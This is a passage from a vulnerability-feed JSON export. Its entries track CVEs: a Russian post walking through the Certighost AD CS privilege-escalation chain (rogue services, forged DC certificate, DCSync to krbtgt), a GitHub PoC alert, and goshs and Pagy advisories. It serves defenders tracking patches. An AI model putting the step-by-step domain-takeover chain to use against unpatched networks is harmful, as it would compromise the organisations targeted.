"creation_timestamp": "2026-07-29T00:00:34.338647Z"}, {"uuid": "44629145-1608-46f7-b38c-a2aaf3ef1a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8448", "content": "\u0412\u044b\u0448\u0435\u043b PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Certighost \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Windows Active Directory, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043c\u0435\u043d Windows.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-54121 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Active Directory (AD CS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 AD CS.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Microsoft, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Active Directory, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PKINIT.\n\n\u0415\u0441\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u0441\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430, \u043e\u043d \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 Active Directory.\n\n\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u043a \u043a\u0430\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Active Directory \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u0434\u0430\u0435\u0442 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 Kerberos.\n\nCertighost \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 AD CS \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u00ab\u043f\u043e\u0433\u043e\u043d\u0435\u0439\u00bb (chase), \u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0432\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430:\n\n- cdc\u0438\u043b\u0438 Client DC \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u0432\u044f\u0437\u0430\u0442\u044c\u0441\u044f \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438;\n- rmd, \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043a\u0430\u0442\u044c.\n\n\u0415\u0441\u043b\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u044b \u043e\u0431\u0430 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430, \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438\u00a0cdc, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u00a0rmd.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0430\u043d\u0435\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c\u00a0cdc \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b SMB, LSA \u0438 LDAP, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0430\u0448\u0438\u043d\u044b.\n\n\u0412 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u043c\u0430\u0448\u0438\u043d\u044b, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 ms-DS-MachineAccountQuota.\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0446\u0435\u043d\u0442\u0440\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (\u0426\u0421) \u043a \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0426\u0421 \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043e\u043d \u0432\u044b\u0434\u0430\u0435\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Active Directory.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 H0j3n \u0438 Aniq Fakhrul \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft 14 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0435\u0435 \u0432 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0412\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f certighost.py \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 PKINIT \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 Kerberos \u0432 \u0444\u0430\u0439\u043b .ccache \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044f NT-\u0445\u0435\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u0417\u0430\u0442\u0435\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u043a\u0430\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 Kerberos \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 secretsdump \u043e\u0442 Impacket \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 DCSync \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 krbtgt.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 PatchTuesday Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0432\u00a0cdc \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0435, \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 Active Directory, \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u043d\u043e\u0435 \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0435\u043d\u0438\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.", "creation_timestamp": "2026-07-29T00:00:34.392894Z"}, {"uuid": "95b54595-87dc-44ff-b713-5f74f32678f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95458", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChPratik\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 03:20:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nImproper authorization in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges over a network.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T00:00:46.720683Z"}, {"uuid": "d9460be9-917e-4e69-84c5-95445dae2f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54719", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrqmn3mrjz2d", "content": "\ud83d\udfe0 CVE-2026-54719 - High (7.5)\n\ngoshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.1,...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54719/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-29T00:00:53.945782Z"}, {"uuid": "37d588ec-b9eb-475f-a841-23d2ad0eb5e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54659", "type": "seen", "source": "https://gist.github.com/alon710/3def853e2525c617d6890d62679fbc37", "content": "# CVE-2026-54659: CVE-2026-54659: Directory Traversal and File Existence Oracle in Pagy I18n module\n\n> **CVSS Score:** 6.9\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54659\n\n## Summary\nPagy, an agile pagination gem for plain Ruby, contains a directory traversal vulnerability in its internationalization (I18n) module prior to version 43.5.6. An unauthenticated remote attacker can exploit this flaw by submitting path traversal sequences to the locale setter, allowing them to probe the server filesystem. The resulting behavior creates a highly reliable file existence and readability side-channel oracle for YAML files.\n\n## TL;DR\nA path traversal flaw in Pagy's I18n locale setter enables unauthenticated remote attackers to determine the existence and validity of YAML configuration files on the host filesystem via a side-channel oracle.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22, CWE-200\n- **Attack Vector**: Network (Unauthenticated)\n- **CVSS v4.0 Score**: 6.9 (Medium)\n- **Exploit Status**: Proof of Concept / Patch Available\n- **Impact**: Local File Existence Reconnaissance & XSS\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- Pagy pagination Ruby gem\n- **pagy**: >= 43.0.0, < 43.5.6 (Fixed in: `43.5.6`)\n\n## Mitigation\n\n- Sanitize the language request parameters against a strict, predefined language whitelist.\n- Prevent users from directly modifying application-level variables used in filesystem paths.\n- Deploy WAF rules to detect path traversal sequences (e.g., ../) in application query parameters.\n\n**Remediation Steps:**\n1. Open the application Gemfile and locate the 